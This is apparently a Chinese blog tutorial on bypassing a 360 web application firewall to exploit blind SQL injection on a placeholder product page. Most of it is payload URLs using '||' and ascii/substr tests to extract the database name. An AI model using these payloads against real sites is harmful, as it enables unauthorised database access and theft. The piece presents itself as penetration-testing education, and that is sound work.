导言:
在网络安全领域,SQL注入一直是攻击者经常利用的手段之一。随着先进的Web应用防火墙(WAF)的普及,SQL注入攻击变得更加困难。本文将深入研究一种SQL注入绕过双WAF的策略,并结合HPP漏洞进行实际攻击。以下是详细的攻击步骤。
攻击场景:
假设目标网站为http://www.xxx.com.cn
,其中的productshow.php
页面存在SQL注入漏洞。正常请求如下:
<code>http://www.xxx.com.cn/productshow.php?id=79</code>
然而,该请求被360WAF拦截,我们需要找到绕过WAF的方法。
绕过360WAF:
通过HPP漏洞(HTTP参数污染)可以在正常页面的参数后添加单引号'
进行隔断绕过,如下:
<code>http://www.xxx.com.cn/productshow.php?id=79'</code>
关键字等价绕过是使用||
进行连接时,不需要进行闭合。构造绕过payload如下:
<code>http://www.xxx.com.cn/productshow.php?id=79%20||%201=1</code>
进一步构造payload,判断数据库名长度:
<code>http://www.xxx.com.cn/productshow.php?id=-79%20||%20length(database())>1</code>
如果数据库名长度大于1,尝试减小长度,直至找到正确的长度:
<code>http://www.xxx.com.cn/productshow.php?id=-79%20||%20length(database())=6</code>
更进一步,使用ascii进行爆库,判断数据库名第一位字符的ascii码:
<code>http://www.xxx.com.cn/productshow.php?id=-79%20||%20and%20(ascii(substr(database(),1,1))%20=109)</code>
不断尝试减小长度,直至找到正确的字符:
<code>http://www.xxx.com.cn/productshow.php?id=-79%20||%20(ascii(substr(database(),1,1))=109)</code>
这里猜测是and
导致WAF拦截,尝试去掉and
:
<code>http://www.xxx.com.cn/productshow.php?id=-79%20||%20(ascii(substr(database(),1,1))=108)</code>
通过不断测试,确认第一个字符是m
。
剩下的步骤不再赘述,关键字等价绕过ascii判断,去掉and
继续尝试。
结论:
本文详细介绍了SQL注入攻击绕过双WAF的过程,利用HPP漏洞进行参数污染,通过关键字等价绕过和ascii码判断,成功绕过WAF的防护。在渗透测试中,理解和应用这些绕过技术对于发现和利用SQL注入漏洞至关重要。深入理解这些攻击原理,有助于加强网络安全并提高应用程序的防御水平。
暂无评论内容